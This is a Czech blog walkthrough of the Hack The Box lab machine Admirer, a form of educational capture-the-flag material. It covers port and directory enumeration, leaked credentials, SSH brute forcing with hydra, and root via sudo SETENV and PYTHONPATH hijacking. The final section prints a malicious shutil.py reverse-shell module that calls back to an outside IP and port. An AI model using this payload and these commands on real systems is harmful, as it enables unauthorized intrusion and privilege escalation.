tom@home.htb:~$

Blog o HTB

27 October 2020

Admirer

Úvod a kontext

Admirer stojí hlavně na tom, že několik zdánlivě obyčejných úniků dává dohromady použitelný přístup. Samostatně nevypadá dramaticky ani credentials.txt, ani archiv webu, ani utility skripty, ale dohromady odhalí vztah mezi FTP, WordPressem, databází a účtem waldo.

Didakticky je tenhle stroj zajímavý tím, že user část není o exploitaci konkrétní služby, ale o pečlivém ověření nalezených přihlašovacích údajů. Je to velmi čistý příklad problému, který rozebírám i v článku Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji. Root pak stojí na chybné delegaci přes SETENV, tedy na variantě, kterou podrobněji popisuji v textu PATH, PYTHONPATH a wrapper hijack.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív potřebuji zjistit, jaké služby cíl nabízí a kam má smysl směřovat další průzkum.

Praktický základ tohoto prvního mapování rozebírám i samostatně v článku Nmap.

IP=10.10.10.187;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE  SERVICE VERSION
21/tcp    open   ftp     vsftpd 3.0.3
22/tcp    open   ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp    open   http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir

Web i SSH vypadají zajímavě, takže pokračuji hlubší enumerací webu.

Enumerace webu a hledání citlivých souborů

Z robots.txt vidím cestu /admin-dir, kde očekávám interní soubory.

Praktické použití cílené content discovery rozebírám samostatně v článku Gobuster.

./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[21:07:44] 301 -  /assets  ->  http://10.10.10.187/assets/
[21:08:04] 301 -  /images  ->  http://10.10.10.187/images/
[21:08:24] 200 -  /robots.txt
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml -u http://10.10.10.187/admin-dir/
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
http://10.10.10.187/admin-dir/credentials.txt
[Internal mail account]
__CENSORED__
__CENSORED__

[FTP account]
ftpuser
__CENSORED__

[Wordpress account]
admin
__CENSORED__

V této fázi mám několik kombinací uživatel/heslo. Zároveň z dostupných podkladů (html.tar.gz, index.php, utility-scripts) je vidět, že aplikace pracuje s uživatelem waldo a databázovým heslem, což je další směr k ověření. Právě tady má smysl přemýšlet o reuse mezi webem, FTP a shellem, ne jen o tom, kde se heslo původně našlo.

Získání přístupu

Získání přístupu přes SSH

Nalezené seznamy uživatelů/hesel (users.txt, pass.txt) ověřím proti SSH. Praktickou logiku tohoto úzkého online ověření rozebírám podrobněji i v článku Hydra.

hydra -L users.txt -P pass.txt $IP ssh
[22][ssh] host: 10.10.10.187   login: ftpuser   password: __CENSORED__
[22][ssh] host: 10.10.10.187   login: waldo   password: __CENSORED__

Funkční je účet waldo, takže se přihlásím do shellu.

ssh waldo@admirer.htb

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

cat /home/waldo/user.txt
__CENSORED__

Eskalace oprávnění

Průzkum sudo práv

Po získání uživatelského přístupu kontroluji, co je možné spustit přes sudo.

sudo -l
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Možnost SETENV je klíčová, protože dovolí ovlivnit PYTHONPATH a podvrhnout Python modul.

Je to stejný vzorec, který obecně shrnuji i v článku PATH, PYTHONPATH a wrapper hijack.

Eskalace oprávnění přes PYTHONPATH

Připravím škodlivý modul shutil.py s reverse shellem a spustím povolený skript se změněným PYTHONPATH.

cat /tmp/T/shutil.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.38",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
sudo PYTHONPATH=/tmp/T/ /opt/scripts/admin_tasks.sh 6

Po spuštění dostanu shell s vyššími právy.

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - web - ssh - sudo